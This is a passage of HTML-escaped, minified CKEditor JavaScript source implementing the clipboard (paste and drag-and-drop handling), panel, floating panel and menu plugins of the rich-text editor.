e,k,b)},0):k.getTransferType(b)==CKEDITOR.DATA_TRANSFER_CROSS_EDITORS?d(h,e,k):f(e,k)}},null,null,9999)})}CKEDITOR.plugins.add(&quot;clipboard&quot;,{requires:&quot;dialog&quot;,init:function(a){var f,l=d();a.config.forcePasteAsPlainText?f=&quot;plain-text&quot;:a.config.pasteFilter?f=a.config.pasteFilter:!CKEDITOR.env.webkit||&quot;pasteFilter&quot;in a.config||(f=&quot;semantic-content&quot;);a.pasteFilter=l.get(f);e(a);h(a);CKEDITOR.dialog.add(&quot;paste&quot;,CKEDITOR.getUrl(this.path+&quot;dialogs/paste.js&quot;));a.on(&quot;paste&quot;,function(b){b.data.dataTransfer||
(b.data.dataTransfer=new CKEDITOR.plugins.clipboard.dataTransfer);if(!b.data.dataValue){var c=b.data.dataTransfer,d=c.getData(&quot;text/html&quot;);if(d)b.data.dataValue=d,b.data.type=&quot;html&quot;;else if(d=c.getData(&quot;text/plain&quot;))b.data.dataValue=a.editable().transformPlainTextToHtml(d),b.data.type=&quot;text&quot;}},null,null,1);a.on(&quot;paste&quot;,function(a){var b=a.data.dataValue,c=CKEDITOR.dtd.$block;-1&lt;b.indexOf(&quot;Apple-&quot;)&amp;&amp;(b=b.replace(/&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;\/span&gt;/gi,&quot; &quot;),&quot;html&quot;!=a.data.type&amp;&amp;(b=b.replace(/&lt;span class=&quot;Apple-tab-span&quot;[^&gt;]*&gt;([^&lt;]*)&lt;\/span&gt;/gi,
function(a,b){return b.replace(/\t/g,&quot;\x26nbsp;\x26nbsp; \x26nbsp;&quot;)})),-1&lt;b.indexOf(&#039;\x3cbr class\x3d&quot;Apple-interchange-newline&quot;\x3e&#039;)&amp;&amp;(a.data.startsWithEOL=1,a.data.preSniffing=&quot;html&quot;,b=b.replace(/&lt;br class=&quot;Apple-interchange-newline&quot;&gt;/,&quot;&quot;)),b=b.replace(/(&lt;[^&gt;]+) class=&quot;Apple-[^&quot;]*&quot;/gi,&quot;$1&quot;));if(b.match(/^&lt;[^&lt;]+cke_(editable|contents)/i)){var d,f,e=new CKEDITOR.dom.element(&quot;div&quot;);for(e.setHtml(b);1==e.getChildCount()&amp;&amp;(d=e.getFirst())&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(d.hasClass(&quot;cke_editable&quot;)||
d.hasClass(&quot;cke_contents&quot;));)e=f=d;f&amp;&amp;(b=f.getHtml().replace(/&lt;br&gt;$/i,&quot;&quot;))}CKEDITOR.env.ie?b=b.replace(/^&amp;nbsp;(?: |\r\n)?&lt;(\w+)/g,function(b,d){return d.toLowerCase()in c?(a.data.preSniffing=&quot;html&quot;,&quot;\x3c&quot;+d):b}):CKEDITOR.env.webkit?b=b.replace(/&lt;\/(\w+)&gt;&lt;div&gt;&lt;br&gt;&lt;\/div&gt;$/,function(b,d){return d in c?(a.data.endsWithEOL=1,&quot;\x3c/&quot;+d+&quot;\x3e&quot;):b}):CKEDITOR.env.gecko&amp;&amp;(b=b.replace(/(\s)&lt;br&gt;$/,&quot;$1&quot;));a.data.dataValue=b},null,null,3);a.on(&quot;paste&quot;,function(d){d=d.data;var f=d.type,e=d.dataValue,h,m=a.config.clipboard_defaultContentType||
&quot;html&quot;,n=d.dataTransfer.getTransferType(a);h=&quot;html&quot;==f||&quot;html&quot;==d.preSniffing?&quot;html&quot;:b(e);&quot;htmlifiedtext&quot;==h&amp;&amp;(e=c(a.config,e));&quot;text&quot;==f&amp;&amp;&quot;html&quot;==h?e=k(a,e,l.get(&quot;plain-text&quot;)):n==CKEDITOR.DATA_TRANSFER_EXTERNAL&amp;&amp;a.pasteFilter&amp;&amp;!d.dontFilter&amp;&amp;(e=k(a,e,a.pasteFilter));d.startsWithEOL&amp;&amp;(e=&#039;\x3cbr data-cke-eol\x3d&quot;1&quot;\x3e&#039;+e);d.endsWithEOL&amp;&amp;(e+=&#039;\x3cbr data-cke-eol\x3d&quot;1&quot;\x3e&#039;);&quot;auto&quot;==f&amp;&amp;(f=&quot;html&quot;==h||&quot;html&quot;==m?&quot;html&quot;:&quot;text&quot;);d.type=f;d.dataValue=e;delete d.preSniffing;delete d.startsWithEOL;delete d.endsWithEOL},
null,null,6);a.on(&quot;paste&quot;,function(b){b=b.data;b.dataValue&amp;&amp;(a.insertHtml(b.dataValue,b.type,b.range),setTimeout(function(){a.fire(&quot;afterPaste&quot;)},0))},null,null,1E3);a.on(&quot;pasteDialog&quot;,function(b){setTimeout(function(){a.openDialog(&quot;paste&quot;,b.data)},0)})}});CKEDITOR.plugins.clipboard={isCustomCopyCutSupported:!CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.iOS,isCustomDataTypesSupported:!CKEDITOR.env.ie,isFileApiSupported:!CKEDITOR.env.ie||9&lt;CKEDITOR.env.version,mainPasteEvent:CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?
&quot;beforepaste&quot;:&quot;paste&quot;,canClipboardApiBeTrusted:function(a,b){return a.getTransferType(b)!=CKEDITOR.DATA_TRANSFER_EXTERNAL||CKEDITOR.env.chrome&amp;&amp;!a.isEmpty()||CKEDITOR.env.gecko&amp;&amp;(a.getData(&quot;text/html&quot;)||a.getFilesCount())?!0:!1},getDropTarget:function(a){var b=a.editable();return CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version||b.isInline()?b:a.document},fixSplitNodesAfterDrop:function(a,b,c,d){function f(a,c,d){var e=a;e.type==CKEDITOR.NODE_TEXT&amp;&amp;(e=a.getParent());if(e.equals(c)&amp;&amp;d!=c.getChildCount())return a=
b.startContainer.getChild(b.startOffset-1),c=b.startContainer.getChild(b.startOffset),a&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;c&amp;&amp;c.type==CKEDITOR.NODE_TEXT&amp;&amp;(d=a.getLength(),a.setText(a.getText()+c.getText()),c.remove(),b.setStart(a,d),b.collapse(!0)),!0}var e=b.startContainer;&quot;number&quot;==typeof d&amp;&amp;&quot;number&quot;==typeof c&amp;&amp;e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(f(a.startContainer,e,c)||f(a.endContainer,e,d))},isDropRangeAffectedByDragRange:function(a,b){var c=b.startContainer,d=b.endOffset;return a.endContainer.equals(c)&amp;&amp;
a.endOffset&lt;=d||a.startContainer.getParent().equals(c)&amp;&amp;a.startContainer.getIndex()&lt;d||a.endContainer.getParent().equals(c)&amp;&amp;a.endContainer.getIndex()&lt;d?!0:!1},internalDrop:function(b,c,d,f){var e=CKEDITOR.plugins.clipboard,h=f.editable(),k,l;f.fire(&quot;saveSnapshot&quot;);f.fire(&quot;lockSnapshot&quot;,{dontUpdate:1});CKEDITOR.env.ie&amp;&amp;10&gt;CKEDITOR.env.version&amp;&amp;this.fixSplitNodesAfterDrop(b,c,e.dragStartContainerChildCount,e.dragEndContainerChildCount);(l=this.isDropRangeAffectedByDragRange(b,c))||(k=b.createBookmark(!1));
e=c.clone().createBookmark(!1);l&amp;&amp;(k=b.createBookmark(!1));b=k.startNode;c=k.endNode;l=e.startNode;c&amp;&amp;b.getPosition(l)&amp;CKEDITOR.POSITION_PRECEDING&amp;&amp;c.getPosition(l)&amp;CKEDITOR.POSITION_FOLLOWING&amp;&amp;l.insertBefore(b);b=f.createRange();b.moveToBookmark(k);h.extractHtmlFromRange(b,1);c=f.createRange();c.moveToBookmark(e);a(f,{dataTransfer:d,method:&quot;drop&quot;,range:c},1);f.fire(&quot;unlockSnapshot&quot;)},getRangeAtDropPosition:function(a,b){var c=a.data.$,d=c.clientX,f=c.clientY,e=b.getSelection(!0).getRanges()[0],h=
b.createRange();if(a.data.testRange)return a.data.testRange;if(document.caretRangeFromPoint)c=b.document.$.caretRangeFromPoint(d,f),h.setStart(CKEDITOR.dom.node(c.startContainer),c.startOffset),h.collapse(!0);else if(c.rangeParent)h.setStart(CKEDITOR.dom.node(c.rangeParent),c.rangeOffset),h.collapse(!0);else{if(CKEDITOR.env.ie&amp;&amp;8&lt;CKEDITOR.env.version&amp;&amp;e&amp;&amp;b.editable().hasFocus)return e;if(document.body.createTextRange){b.focus();c=b.document.getBody().$.createTextRange();try{for(var k=!1,l=0;20&gt;l&amp;&amp;
!k;l++){if(!k)try{c.moveToPoint(d,f-l),k=!0}catch(m){}if(!k)try{c.moveToPoint(d,f+l),k=!0}catch(r){}}if(k){var w=&quot;cke-temp-&quot;+(new Date).getTime();c.pasteHTML(&#039;\x3cspan id\x3d&quot;&#039;+w+&#039;&quot;\x3e​\x3c/span\x3e&#039;);var C=b.document.getById(w);h.moveToPosition(C,CKEDITOR.POSITION_BEFORE_START);C.remove()}else{var x=b.document.$.elementFromPoint(d,f),B=new CKEDITOR.dom.element(x),D;if(B.equals(b.editable())||&quot;html&quot;==B.getName())return e&amp;&amp;e.startContainer&amp;&amp;!e.startContainer.equals(b.editable())?e:null;D=B.getClientRect();
d&lt;D.left?h.setStartAt(B,CKEDITOR.POSITION_AFTER_START):h.setStartAt(B,CKEDITOR.POSITION_BEFORE_END);h.collapse(!0)}}catch(F){return null}}else return null}return h},initDragDataTransfer:function(a,b){var c=a.data.$?a.data.$.dataTransfer:null,d=new this.dataTransfer(c,b);c?this.dragData&amp;&amp;d.id==this.dragData.id?d=this.dragData:this.dragData=d:this.dragData?d=this.dragData:this.dragData=d;a.data.dataTransfer=d},resetDragDataTransfer:function(){this.dragData=null},initPasteDataTransfer:function(a,b){if(this.isCustomCopyCutSupported&amp;&amp;
a&amp;&amp;a.data&amp;&amp;a.data.$){var c=new this.dataTransfer(a.data.$.clipboardData,b);this.copyCutData&amp;&amp;c.id==this.copyCutData.id?(c=this.copyCutData,c.$=a.data.$.clipboardData):this.copyCutData=c;return c}return new this.dataTransfer(null,b)},preventDefaultDropOnElement:function(a){a&amp;&amp;a.on(&quot;dragover&quot;,f)}};var l=CKEDITOR.plugins.clipboard.isCustomDataTypesSupported?&quot;cke/id&quot;:&quot;Text&quot;;CKEDITOR.plugins.clipboard.dataTransfer=function(a,b){a&amp;&amp;(this.$=a);this._={metaRegExp:/^&lt;meta.*?&gt;/i,bodyRegExp:/&lt;body(?:[\s\S]*?)&gt;([\s\S]*)&lt;\/body&gt;/i,
fragmentRegExp:/\x3c!--(?:Start|End)Fragment--\x3e/g,data:{},files:[],normalizeType:function(a){a=a.toLowerCase();return&quot;text&quot;==a||&quot;text/plain&quot;==a?&quot;Text&quot;:&quot;url&quot;==a?&quot;URL&quot;:a}};this.id=this.getData(l);this.id||(this.id=&quot;Text&quot;==l?&quot;&quot;:&quot;cke-&quot;+CKEDITOR.tools.getUniqueId());if(&quot;Text&quot;!=l)try{this.$.setData(l,this.id)}catch(c){}b&amp;&amp;(this.sourceEditor=b,this.setData(&quot;text/html&quot;,b.getSelectedHtml(1)),&quot;Text&quot;==l||this.getData(&quot;text/plain&quot;)||this.setData(&quot;text/plain&quot;,b.getSelection().getSelectedText()))};CKEDITOR.DATA_TRANSFER_INTERNAL=
1;CKEDITOR.DATA_TRANSFER_CROSS_EDITORS=2;CKEDITOR.DATA_TRANSFER_EXTERNAL=3;CKEDITOR.plugins.clipboard.dataTransfer.prototype={getData:function(a){a=this._.normalizeType(a);var b=this._.data[a];if(void 0===b||null===b||&quot;&quot;===b)try{b=this.$.getData(a)}catch(c){}if(void 0===b||null===b||&quot;&quot;===b)b=&quot;&quot;;&quot;text/html&quot;==a?(b=b.replace(this._.metaRegExp,&quot;&quot;),(a=this._.bodyRegExp.exec(b))&amp;&amp;a.length&amp;&amp;(b=a[1],b=b.replace(this._.fragmentRegExp,&quot;&quot;))):&quot;Text&quot;==a&amp;&amp;CKEDITOR.env.gecko&amp;&amp;this.getFilesCount()&amp;&amp;&quot;file://&quot;==b.substring(0,
7)&amp;&amp;(b=&quot;&quot;);return b},setData:function(a,b){a=this._.normalizeType(a);this._.data[a]=b;if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported||&quot;URL&quot;==a||&quot;Text&quot;==a){&quot;Text&quot;==l&amp;&amp;&quot;Text&quot;==a&amp;&amp;(this.id=b);try{this.$.setData(a,b)}catch(c){}}},getTransferType:function(a){return this.sourceEditor?this.sourceEditor==a?CKEDITOR.DATA_TRANSFER_INTERNAL:CKEDITOR.DATA_TRANSFER_CROSS_EDITORS:CKEDITOR.DATA_TRANSFER_EXTERNAL},cacheData:function(){function a(c){c=b._.normalizeType(c);var d=b.getData(c);d&amp;&amp;(b._.data[c]=
d)}if(this.$){var b=this,c,d;if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported){if(this.$.types)for(c=0;c&lt;this.$.types.length;c++)a(this.$.types[c])}else a(&quot;Text&quot;),a(&quot;URL&quot;);d=this._getImageFromClipboard();if(this.$&amp;&amp;this.$.files||d){this._.files=[];for(c=0;c&lt;this.$.files.length;c++)this._.files.push(this.$.files[c]);0===this._.files.length&amp;&amp;d&amp;&amp;this._.files.push(d)}}},getFilesCount:function(){return this._.files.length?this._.files.length:this.$&amp;&amp;this.$.files&amp;&amp;this.$.files.length?this.$.files.length:
this._getImageFromClipboard()?1:0},getFile:function(a){return this._.files.length?this._.files[a]:this.$&amp;&amp;this.$.files&amp;&amp;this.$.files.length?this.$.files[a]:0===a?this._getImageFromClipboard():void 0},isEmpty:function(){var a={},b;if(this.getFilesCount())return!1;for(b in this._.data)a[b]=1;if(this.$)if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported){if(this.$.types)for(var c=0;c&lt;this.$.types.length;c++)a[this.$.types[c]]=1}else a.Text=1,a.URL=1;&quot;Text&quot;!=l&amp;&amp;(a[l]=0);for(b in a)if(a[b]&amp;&amp;&quot;&quot;!==
this.getData(b))return!1;return!0},_getImageFromClipboard:function(){var a;if(this.$&amp;&amp;this.$.items&amp;&amp;this.$.items[0])try{if((a=this.$.items[0].getAsFile())&amp;&amp;a.type)return a}catch(b){}}}}(),function(){CKEDITOR.plugins.add(&quot;panel&quot;,{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_PANEL,CKEDITOR.ui.panel.handler)}});CKEDITOR.UI_PANEL=&quot;panel&quot;;CKEDITOR.ui.panel=function(a,b){b&amp;&amp;CKEDITOR.tools.extend(this,b);CKEDITOR.tools.extend(this,{className:&quot;&quot;,css:[]});this.id=CKEDITOR.tools.getNextId();this.document=
a;this.isFramed=this.forceIFrame||this.css.length;this._={blocks:{}}};CKEDITOR.ui.panel.handler={create:function(a){return new CKEDITOR.ui.panel(a)}};var a=CKEDITOR.addTemplate(&quot;panel&quot;,&#039;\x3cdiv lang\x3d&quot;{langCode}&quot; id\x3d&quot;{id}&quot; dir\x3d{dir} class\x3d&quot;cke cke_reset_all {editorId} cke_panel cke_panel {cls} cke_{dir}&quot; style\x3d&quot;z-index:{z-index}&quot; role\x3d&quot;presentation&quot;\x3e{frame}\x3c/div\x3e&#039;),e=CKEDITOR.addTemplate(&quot;panel-frame&quot;,&#039;\x3ciframe id\x3d&quot;{id}&quot; class\x3d&quot;cke_panel_frame&quot; role\x3d&quot;presentation&quot; frameborder\x3d&quot;0&quot; src\x3d&quot;{src}&quot;\x3e\x3c/iframe\x3e&#039;),
b=CKEDITOR.addTemplate(&quot;panel-frame-inner&quot;,&#039;\x3c!DOCTYPE html\x3e\x3chtml class\x3d&quot;cke_panel_container {env}&quot; dir\x3d&quot;{dir}&quot; lang\x3d&quot;{langCode}&quot;\x3e\x3chead\x3e{css}\x3c/head\x3e\x3cbody class\x3d&quot;cke_{dir}&quot; style\x3d&quot;margin:0;padding:0&quot; onload\x3d&quot;{onload}&quot;\x3e\x3c/body\x3e\x3c/html\x3e&#039;);CKEDITOR.ui.panel.prototype={render:function(c,d){this.getHolderElement=function(){var a=this._.holder;if(!a){if(this.isFramed){var a=this.document.getById(this.id+&quot;_frame&quot;),c=a.getParent(),a=a.getFrameDocument();
CKEDITOR.env.iOS&amp;&amp;c.setStyles({overflow:&quot;scroll&quot;,&quot;-webkit-overflow-scrolling&quot;:&quot;touch&quot;});c=CKEDITOR.tools.addFunction(CKEDITOR.tools.bind(function(){this.isLoaded=!0;if(this.onLoad)this.onLoad()},this));a.write(b.output(CKEDITOR.tools.extend({css:CKEDITOR.tools.buildStyleHtml(this.css),onload:&quot;window.parent.CKEDITOR.tools.callFunction(&quot;+c+&quot;);&quot;},k)));a.getWindow().$.CKEDITOR=CKEDITOR;a.on(&quot;keydown&quot;,function(a){var b=a.data.getKeystroke(),c=this.document.getById(this.id).getAttribute(&quot;dir&quot;);this._.onKeyDown&amp;&amp;
!1===this._.onKeyDown(b)?a.data.preventDefault():(27==b||b==(&quot;rtl&quot;==c?39:37))&amp;&amp;this.onEscape&amp;&amp;!1===this.onEscape(b)&amp;&amp;a.data.preventDefault()},this);a=a.getBody();a.unselectable();CKEDITOR.env.air&amp;&amp;CKEDITOR.tools.callFunction(c)}else a=this.document.getById(this.id);this._.holder=a}return a};var k={editorId:c.id,id:this.id,langCode:c.langCode,dir:c.lang.dir,cls:this.className,frame:&quot;&quot;,env:CKEDITOR.env.cssClass,&quot;z-index&quot;:c.config.baseFloatZIndex+1};if(this.isFramed){var m=CKEDITOR.env.air?&quot;javascript:void(0)&quot;:
CKEDITOR.env.ie?&quot;javascript:void(function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.close();&quot;)+&quot;}())&quot;:&quot;&quot;;k.frame=e.output({id:this.id+&quot;_frame&quot;,src:m})}m=a.output(k);d&amp;&amp;d.push(m);return m},addBlock:function(a,b){b=this._.blocks[a]=b instanceof CKEDITOR.ui.panel.block?b:new CKEDITOR.ui.panel.block(this.getHolderElement(),b);this._.currentBlock||this.showBlock(a);return b},getBlock:function(a){return this._.blocks[a]},showBlock:function(a){a=this._.blocks[a];var b=
this._.currentBlock,e=!this.forceIFrame||CKEDITOR.env.ie?this._.holder:this.document.getById(this.id+&quot;_frame&quot;);b&amp;&amp;b.hide();this._.currentBlock=a;CKEDITOR.fire(&quot;ariaWidget&quot;,e);a._.focusIndex=-1;this._.onKeyDown=a.onKeyDown&amp;&amp;CKEDITOR.tools.bind(a.onKeyDown,a);a.show();return a},destroy:function(){this.element&amp;&amp;this.element.remove()}};CKEDITOR.ui.panel.block=CKEDITOR.tools.createClass({$:function(a,b){this.element=a.append(a.getDocument().createElement(&quot;div&quot;,{attributes:{tabindex:-1,&quot;class&quot;:&quot;cke_panel_block&quot;},
styles:{display:&quot;none&quot;}}));b&amp;&amp;CKEDITOR.tools.extend(this,b);this.element.setAttributes({role:this.attributes.role||&quot;presentation&quot;,&quot;aria-label&quot;:this.attributes[&quot;aria-label&quot;],title:this.attributes.title||this.attributes[&quot;aria-label&quot;]});this.keys={};this._.focusIndex=-1;this.element.disableContextMenu()},_:{markItem:function(a){-1!=a&amp;&amp;(a=this.element.getElementsByTag(&quot;a&quot;).getItem(this._.focusIndex=a),CKEDITOR.env.webkit&amp;&amp;a.getDocument().getWindow().focus(),a.focus(),this.onMark&amp;&amp;this.onMark(a))}},proto:{show:function(){this.element.setStyle(&quot;display&quot;,
&quot;&quot;)},hide:function(){this.onHide&amp;&amp;!0===this.onHide.call(this)||this.element.setStyle(&quot;display&quot;,&quot;none&quot;)},onKeyDown:function(a,b){var e=this.keys[a];switch(e){case &quot;next&quot;:for(var m=this._.focusIndex,e=this.element.getElementsByTag(&quot;a&quot;),f;f=e.getItem(++m);)if(f.getAttribute(&quot;_cke_focus&quot;)&amp;&amp;f.$.offsetWidth){this._.focusIndex=m;f.focus();break}return f||b?!1:(this._.focusIndex=-1,this.onKeyDown(a,1));case &quot;prev&quot;:m=this._.focusIndex;for(e=this.element.getElementsByTag(&quot;a&quot;);0&lt;m&amp;&amp;(f=e.getItem(--m));){if(f.getAttribute(&quot;_cke_focus&quot;)&amp;&amp;
f.$.offsetWidth){this._.focusIndex=m;f.focus();break}f=null}return f||b?!1:(this._.focusIndex=e.count(),this.onKeyDown(a,1));case &quot;click&quot;:case &quot;mouseup&quot;:return m=this._.focusIndex,(f=0&lt;=m&amp;&amp;this.element.getElementsByTag(&quot;a&quot;).getItem(m))&amp;&amp;(f.$[e]?f.$[e]():f.$[&quot;on&quot;+e]()),!1}return!0}}})}(),CKEDITOR.plugins.add(&quot;floatpanel&quot;,{requires:&quot;panel&quot;}),function(){function a(a,c,d,k,m){m=CKEDITOR.tools.genKey(c.getUniqueId(),d.getUniqueId(),a.lang.dir,a.uiColor||&quot;&quot;,k.css||&quot;&quot;,m||&quot;&quot;);var f=e[m];f||(f=e[m]=new CKEDITOR.ui.panel(c,
k),f.element=d.append(CKEDITOR.dom.element.createFromHtml(f.render(a),c)),f.element.setStyles({display:&quot;none&quot;,position:&quot;absolute&quot;}));return f}var e={};CKEDITOR.ui.floatPanel=CKEDITOR.tools.createClass({$:function(b,c,d,e){function m(){g.hide()}d.forceIFrame=1;d.toolbarRelated&amp;&amp;b.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&amp;&amp;(c=CKEDITOR.document.getById(&quot;cke_&quot;+b.name));var f=c.getDocument();e=a(b,f,c,d,e||0);var h=e.element,l=h.getFirst(),g=this;h.disableContextMenu();this.element=h;this._={editor:b,
panel:e,parentElement:c,definition:d,document:f,iframe:l,children:[],dir:b.lang.dir,showBlockParams:null};b.on(&quot;mode&quot;,m);b.on(&quot;resize&quot;,m);f.getWindow().on(&quot;resize&quot;,function(){this.reposition()},this)},proto:{addBlock:function(a,c){return this._.panel.addBlock(a,c)},addListBlock:function(a,c){return this._.panel.addListBlock(a,c)},getBlock:function(a){return this._.panel.getBlock(a)},showBlock:function(a,c,d,e,m,f){var h=this._.panel,l=h.showBlock(a);this._.showBlockParams=[].slice.call(arguments);
this.allowBlur(!1);var g=this._.editor.editable();this._.returnFocus=g.hasFocus?g:new CKEDITOR.dom.element(CKEDITOR.document.$.activeElement);this._.hideTimeout=0;var n=this.element,g=this._.iframe,g=CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?g:new CKEDITOR.dom.window(g.$.contentWindow),v=n.getDocument(),u=this._.parentElement.getPositionedAncestor(),q=c.getDocumentPosition(v),v=u?u.getDocumentPosition(v):{x:0,y:0},t=&quot;rtl&quot;==this._.dir,p=q.x+(e||0)-v.x,y=q.y+(m||0)-v.y;!t||1!=d&amp;&amp;4!=d?t||2!=d&amp;&amp;3!=d||(p+=c.$.offsetWidth-
1):p+=c.$.offsetWidth;if(3==d||4==d)y+=c.$.offsetHeight-1;this._.panel._.offsetParentId=c.getId();n.setStyles({top:y+&quot;px&quot;,left:0,display:&quot;&quot;});n.setOpacity(0);n.getFirst().removeStyle(&quot;width&quot;);this._.editor.focusManager.add(g);this._.blurSet||(CKEDITOR.event.useCapture=!0,g.on(&quot;blur&quot;,function(a){function b(){delete this._.returnFocus;this.hide()}this.allowBlur()&amp;&amp;a.data.getPhase()==CKEDITOR.EVENT_PHASE_AT_TARGET&amp;&amp;this.visible&amp;&amp;!this._.activeChild&amp;&amp;(CKEDITOR.env.iOS?this._.hideTimeout||(this._.hideTimeout=
CKEDITOR.tools.setTimeout(b,0,this)):b.call(this))},this),g.on(&quot;focus&quot;,function(){this._.focused=!0;this.hideChild();this.allowBlur(!0)},this),CKEDITOR.env.iOS&amp;&amp;(g.on(&quot;touchstart&quot;,function(){clearTimeout(this._.hideTimeout)},this),g.on(&quot;touchend&quot;,function(){this._.hideTimeout=0;this.focus()},this)),CKEDITOR.event.useCapture=!1,this._.blurSet=1);h.onEscape=CKEDITOR.tools.bind(function(a){if(this.onEscape&amp;&amp;!1===this.onEscape(a))return!1},this);CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.tools.bind(function(){var a=
n;a.removeStyle(&quot;width&quot;);if(l.autoSize){var b=l.element.getDocument(),b=(CKEDITOR.env.webkit||CKEDITOR.env.edge?l.element:b.getBody()).$.scrollWidth;CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;0&lt;b&amp;&amp;(b+=(a.$.offsetWidth||0)-(a.$.clientWidth||0)+3);a.setStyle(&quot;width&quot;,b+10+&quot;px&quot;);b=l.element.$.scrollHeight;CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;0&lt;b&amp;&amp;(b+=(a.$.offsetHeight||0)-(a.$.clientHeight||0)+3);a.setStyle(&quot;height&quot;,b+&quot;px&quot;);h._.currentBlock.element.setStyle(&quot;display&quot;,&quot;none&quot;).removeStyle(&quot;display&quot;)}else a.removeStyle(&quot;height&quot;);
t&amp;&amp;(p-=n.$.offsetWidth);n.setStyle(&quot;left&quot;,p+&quot;px&quot;);var b=h.element.getWindow(),a=n.$.getBoundingClientRect(),b=b.getViewPaneSize(),c=a.width||a.right-a.left,d=a.height||a.bottom-a.top,e=t?a.right:b.width-a.left,g=t?b.width-a.right:a.left;t?e&lt;c&amp;&amp;(p=g&gt;c?p+c:b.width&gt;c?p-a.left:p-a.right+b.width):e&lt;c&amp;&amp;(p=g&gt;c?p-c:b.width&gt;c?p-a.right+b.width:p-a.left);c=a.top;b.height-a.top&lt;d&amp;&amp;(y=c&gt;d?y-d:b.height&gt;d?y-a.bottom+b.height:y-a.top);CKEDITOR.env.ie&amp;&amp;(b=a=new CKEDITOR.dom.element(n.$.offsetParent),&quot;html&quot;==b.getName()&amp;&amp;
(b=b.getDocument().getBody()),&quot;rtl&quot;==b.getComputedStyle(&quot;direction&quot;)&amp;&amp;(p=CKEDITOR.env.ie8Compat?p-2*n.getDocument().getDocumentElement().$.scrollLeft:p-(a.$.scrollWidth-a.$.clientWidth)));var a=n.getFirst(),k;(k=a.getCustomData(&quot;activePanel&quot;))&amp;&amp;k.onHide&amp;&amp;k.onHide.call(this,1);a.setCustomData(&quot;activePanel&quot;,this);n.setStyles({top:y+&quot;px&quot;,left:p+&quot;px&quot;});n.setOpacity(1);f&amp;&amp;f()},this);h.isLoaded?a():h.onLoad=a;CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.env.webkit&amp;&amp;CKEDITOR.document.getWindow().getScrollPosition().y;
this.focus();l.element.focus();CKEDITOR.env.webkit&amp;&amp;(CKEDITOR.document.getBody().$.scrollTop=a);this.allowBlur(!0);this._.editor.fire(&quot;panelShow&quot;,this)},0,this)},CKEDITOR.env.air?200:0,this);this.visible=1;this.onShow&amp;&amp;this.onShow.call(this)},reposition:function(){var a=this._.showBlockParams;this.visible&amp;&amp;this._.showBlockParams&amp;&amp;(this.hide(),this.showBlock.apply(this,a))},focus:function(){if(CKEDITOR.env.webkit){var a=CKEDITOR.document.getActive();a&amp;&amp;!a.equals(this._.iframe)&amp;&amp;a.$.blur()}(this._.lastFocused||
this._.iframe.getFrameDocument().getWindow()).focus()},blur:function(){var a=this._.iframe.getFrameDocument().getActive();a&amp;&amp;a.is(&quot;a&quot;)&amp;&amp;(this._.lastFocused=a)},hide:function(a){if(this.visible&amp;&amp;(!this.onHide||!0!==this.onHide.call(this))){this.hideChild();CKEDITOR.env.gecko&amp;&amp;this._.iframe.getFrameDocument().$.activeElement.blur();this.element.setStyle(&quot;display&quot;,&quot;none&quot;);this.visible=0;this.element.getFirst().removeCustomData(&quot;activePanel&quot;);if(a=a&amp;&amp;this._.returnFocus)CKEDITOR.env.webkit&amp;&amp;a.type&amp;&amp;a.getWindow().$.focus(),
a.focus();delete this._.lastFocused;this._.showBlockParams=null;this._.editor.fire(&quot;panelHide&quot;,this)}},allowBlur:function(a){var c=this._.panel;void 0!==a&amp;&amp;(c.allowBlur=a);return c.allowBlur},showAsChild:function(a,c,d,e,m,f){if(this._.activeChild!=a||a._.panel._.offsetParentId!=d.getId())this.hideChild(),a.onHide=CKEDITOR.tools.bind(function(){CKEDITOR.tools.setTimeout(function(){this._.focused||this.hide()},0,this)},this),this._.activeChild=a,this._.focused=!1,a.showBlock(c,d,e,m,f),this.blur(),
(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&amp;&amp;setTimeout(function(){a.element.getChild(0).$.style.cssText+=&quot;&quot;},100)},hideChild:function(a){var c=this._.activeChild;c&amp;&amp;(delete c.onHide,delete this._.activeChild,c.hide(),a&amp;&amp;this.focus())}}});CKEDITOR.on(&quot;instanceDestroyed&quot;,function(){var a=CKEDITOR.tools.isEmpty(CKEDITOR.instances),c;for(c in e){var d=e[c];a?d.destroy():d.element.hide()}a&amp;&amp;(e={})})}(),CKEDITOR.plugins.add(&quot;menu&quot;,{requires:&quot;floatpanel&quot;,beforeInit:function(a){for(var e=a.config.menu_groups.split(&quot;,&quot;),
b=a._.menuGroups={},c=a._.menuItems={},d=0;d&lt;e.length;d++)b[e[d]]=d+1;a.addMenuGroup=function(a,c){b[a]=c||100};a.addMenuItem=function(a,d){b[d.group]&amp;&amp;(c[a]=new CKEDITOR.menuItem(this,a,d))};a.addMenuItems=function(a){for(var b in a)this.addMenuItem(b,a[b])};a.getMenuItem=function(a){return c[a]};a.removeMenuItem=function(a){delete c[a]}}}),function(){function a(a){a.sort(function(a,b){return a.group&lt;b.group?-1:a.group&gt;b.group?1:a.order&lt;b.order?-1:a.order&gt;b.order?1:0})}var e=&#039;\x3cspan class\x3d&quot;cke_menuitem&quot;\x3e\x3ca id\x3d&quot;{id}&quot; class\x3d&quot;cke_menubutton cke_menubutton__{name} cke_menubutton_{state} {cls}&quot; href\x3d&quot;{href}&quot; title\x3d&quot;{title}&quot; tabindex\x3d&quot;-1&quot;_cke_focus\x3d1 hidefocus\x3d&quot;true&quot; role\x3d&quot;{role}&quot; aria-haspopup\x3d&quot;{hasPopup}&quot; aria-disabled\x3d&quot;{disabled}&quot; {ariaChecked}&#039;;
